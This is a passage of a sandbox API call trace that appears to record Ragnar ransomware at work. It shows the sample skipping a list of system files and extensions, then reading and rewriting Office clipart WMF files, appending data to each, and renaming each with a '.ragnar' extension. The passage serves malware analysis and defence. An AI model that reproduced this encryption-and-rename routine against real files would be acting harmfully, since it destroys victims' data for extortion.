lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2fac, lpOverlapped=0x0) returned 1 [0084.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.389] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2fac, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.389] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2fac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2fac, lpOverlapped=0x0) returned 1 [0084.391] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.391] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.392] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2fac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.392] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.392] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.392] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.392] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.392] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.392] GetProcessHeap () returned 0x580000 [0084.392] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.392] CloseHandle (hObject=0xf4) returned 1 [0084.392] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" [0084.392] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.ragnar_FD7BD9FC" [0084.392] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.393] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1 [0084.393] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.393] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107516.WMF" | out: lpString1="J0107516.WMF") returned="J0107516.WMF" [0084.393] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned=".WMF" [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="autorun.inf") returned 1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="boot.ini") returned 1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="bootfont.bin") returned 1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="bootsect.bak") returned 1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="bootmgr") returned 1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="bootmgr.efi") returned 1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="bootmgfw.efi") returned 1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="desktop.ini") returned 1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="iconcache.db") returned 1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="ntldr") returned -1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="ntuser.dat") returned -1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="ntuser.dat.log") returned -1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="ntuser.ini") returned -1 [0084.393] lstrcmpiW (lpString1="J0107516.WMF", lpString2="thumbs.db") returned -1 [0084.393] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.393] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.393] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.394] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.394] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.394] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.394] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 0x20 [0084.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.395] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14008) returned 1 [0084.395] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x36af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.395] GetProcessHeap () returned 0x580000 [0084.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.395] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.396] VirtualAlloc (lpAddress=0x0, dwSize=0x36b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.397] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x36b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x36b8, lpOverlapped=0x0) returned 1 [0084.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.398] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x36b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.398] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x36b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x36b8, lpOverlapped=0x0) returned 1 [0084.398] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.398] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x36b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.398] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.398] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.398] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.399] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.399] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.399] GetProcessHeap () returned 0x580000 [0084.399] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.399] CloseHandle (hObject=0xf4) returned 1 [0084.399] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" [0084.399] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.ragnar_FD7BD9FC" [0084.399] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.399] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0084.399] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.399] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107526.WMF" | out: lpString1="J0107526.WMF") returned="J0107526.WMF" [0084.400] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned=".WMF" [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="autorun.inf") returned 1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="boot.ini") returned 1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="bootfont.bin") returned 1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="bootsect.bak") returned 1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="bootmgr") returned 1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="bootmgr.efi") returned 1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="bootmgfw.efi") returned 1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="desktop.ini") returned 1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="iconcache.db") returned 1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="ntldr") returned -1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="ntuser.dat") returned -1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="ntuser.dat.log") returned -1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="ntuser.ini") returned -1 [0084.400] lstrcmpiW (lpString1="J0107526.WMF", lpString2="thumbs.db") returned -1 [0084.400] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.400] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.400] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.400] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.400] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.400] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.400] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 0x20 [0084.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.401] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7948) returned 1 [0084.401] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.401] GetProcessHeap () returned 0x580000 [0084.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.401] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.403] VirtualAlloc (lpAddress=0x0, dwSize=0x1f0c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.403] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f0c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f0c, lpOverlapped=0x0) returned 1 [0084.404] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.404] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f0c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.404] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f0c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f0c, lpOverlapped=0x0) returned 1 [0084.404] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f0c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.404] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.405] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.405] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.405] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.405] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.405] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.405] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.405] GetProcessHeap () returned 0x580000 [0084.405] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.405] CloseHandle (hObject=0xf4) returned 1 [0084.405] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" [0084.405] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.ragnar_FD7BD9FC" [0084.405] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.406] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0084.406] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.406] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107528.WMF" | out: lpString1="J0107528.WMF") returned="J0107528.WMF" [0084.406] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned=".WMF" [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="autorun.inf") returned 1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="boot.ini") returned 1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="bootfont.bin") returned 1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="bootsect.bak") returned 1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="bootmgr") returned 1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="bootmgr.efi") returned 1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="bootmgfw.efi") returned 1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="desktop.ini") returned 1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="iconcache.db") returned 1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="ntldr") returned -1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="ntuser.dat") returned -1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="ntuser.dat.log") returned -1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="ntuser.ini") returned -1 [0084.406] lstrcmpiW (lpString1="J0107528.WMF", lpString2="thumbs.db") returned -1 [0084.406] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.406] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.406] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.406] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.407] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.407] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.407] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 0x20 [0084.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.407] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6792) returned 1 [0084.407] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.407] GetProcessHeap () returned 0x580000 [0084.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.407] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.409] VirtualAlloc (lpAddress=0x0, dwSize=0x1a88, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.409] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.409] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.409] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a88, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a88, lpOverlapped=0x0) returned 1 [0084.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.410] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a88, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.410] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a88, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a88, lpOverlapped=0x0) returned 1 [0084.410] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.410] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 